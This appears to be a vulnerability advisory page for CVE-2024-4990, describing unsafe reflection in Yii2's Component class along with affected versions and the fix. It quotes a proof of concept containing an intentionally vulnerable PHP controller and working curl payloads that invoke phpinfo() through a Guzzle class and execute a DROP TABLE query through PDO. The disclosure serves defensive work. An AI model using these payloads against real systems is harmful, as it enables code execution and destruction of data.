CVE-2024-4990: Unsafe Reflection in base Component class in yiisoft/yii2

Published Jun 2, 2024
·
Updated

In yiisoft/yii2 version 2.0.48, the base Component class contains a vulnerability where the set() magic method does not validate that the value passed is a valid Behavior class name or configuration. This allows an attacker to instantiate arbitrary classes, passing parameters to their constructors and invoking setter methods. Depending on the installed dependencies, various types of attacks are possible, including the execution of arbitrary code, retrieval of sensitive information, and unauthorized access.

Other sources

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches Not yet patched.

Workarounds No Work around available

References Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

php 'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

php <?php

namespace app\controllers;

use yii\base\Component; use yii\web\Controller;

class ExploitableController extends Controller { public function beforeAction($action): bool { // Needed only to simplify the PoC $this->enableCsrfValidation = false; return parent::beforeAction($action); }

public function actionVulnerable(): string { $fields = $this->request->post(); $myComponent = new Component(); foreach ($fields as $key => $value) { $myComponent->$key = $value; } return ""; } }

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

bash curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"class":"GuzzleHttp\\Psr7\\FnStream", "construct()": [[]], "fnclose": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes calluserfunc($this->fnclose) inside destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

bash curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"class":"\\PDO", "construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

GitHub

Affected Software

2 affected componentsFixes available
composer/yiisoft/yii2<2.0.49.4
2.0.49.4
Yiiframework Yii=2.0.48

Event History

Jun 2, 2024
Advisory Published
via GitHub·10:30 PM
Mar 20, 2025
CVE Published
via MITRE·10:11 AM
Data Sourced
via MITRE·10:11 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 AM
Affected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-4990?

CVE-2024-4990 is considered a high-severity vulnerability due to its ability to allow arbitrary class instantiation.

2

How do I fix CVE-2024-4990?

To fix CVE-2024-4990, upgrade yiisoft/yii2 to version 2.0.49.4 or later.

3

Who is affected by CVE-2024-4990?

Any application using yiisoft/yii2 version prior to 2.0.49.4 is affected by CVE-2024-4990.

4

What components are affected by CVE-2024-4990?

The vulnerable component in CVE-2024-4990 is the base Component class within the yiisoft/yii2 framework.

5

What is the nature of the vulnerability in CVE-2024-4990?

CVE-2024-4990 allows attackers to instantiate arbitrary classes without proper validation due to an unvalidated magic method.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203